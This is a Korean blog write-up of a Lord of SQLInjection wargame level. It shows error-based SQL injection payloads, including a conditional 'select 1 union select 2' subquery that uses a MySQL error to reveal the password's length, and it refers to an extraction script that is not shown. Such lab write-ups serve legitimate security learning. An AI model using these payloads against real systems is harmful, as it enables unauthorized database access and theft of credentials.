풀이
이번에는 지금까지 봤던 문제들과는 조금 다르다.
다음 코드를 주목하자.
if(mysqli_error($db)) exit(mysqli_error($db));
이번 문제는 Error Based SQLi인 듯하다.
먼저 다음 쿼리를 넣어 에러를 출력해보자.
Query: ?pw=1'
> You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''1''' at line 1
Query를 보내 확실하게 Error Based SQLi인 것을 확인했다.
먼저 에러를 이용해 pw의 길이를 구해보자.
여러분들은 부등호를 이용해 정확한 값을 찾아내자.
Query: ?pw=1' or if(length(pw)=32,(select 1 union select 2),1)%23
> Subquery returns more than 1 row
이렇게 오류가 뜨면 if문이 참이란 뜻이다.
우린 if문을 통해, pw의 길이가 32자인 걸 알아냈다.
이젠, 파이썬을 이용해 정확한 pw값을 알아내자.
코드는 다음과 같다. 역시 대소문자에 유의하자.
'Wargame > LOS' 카테고리의 다른 글
[LOS] dark eyes 풀이 (st.22) (0) | 2020.05.30 |
---|---|
[LOS] dragon 풀이 (st.20) (0) | 2020.05.30 |
[LOS] skeleton 풀이 (st.10) (0) | 2020.05.29 |
[LOS] troll 풀이 (st.8) (0) | 2020.05.29 |
[LOS] darkelf 풀이 (st.6) (0) | 2020.05.29 |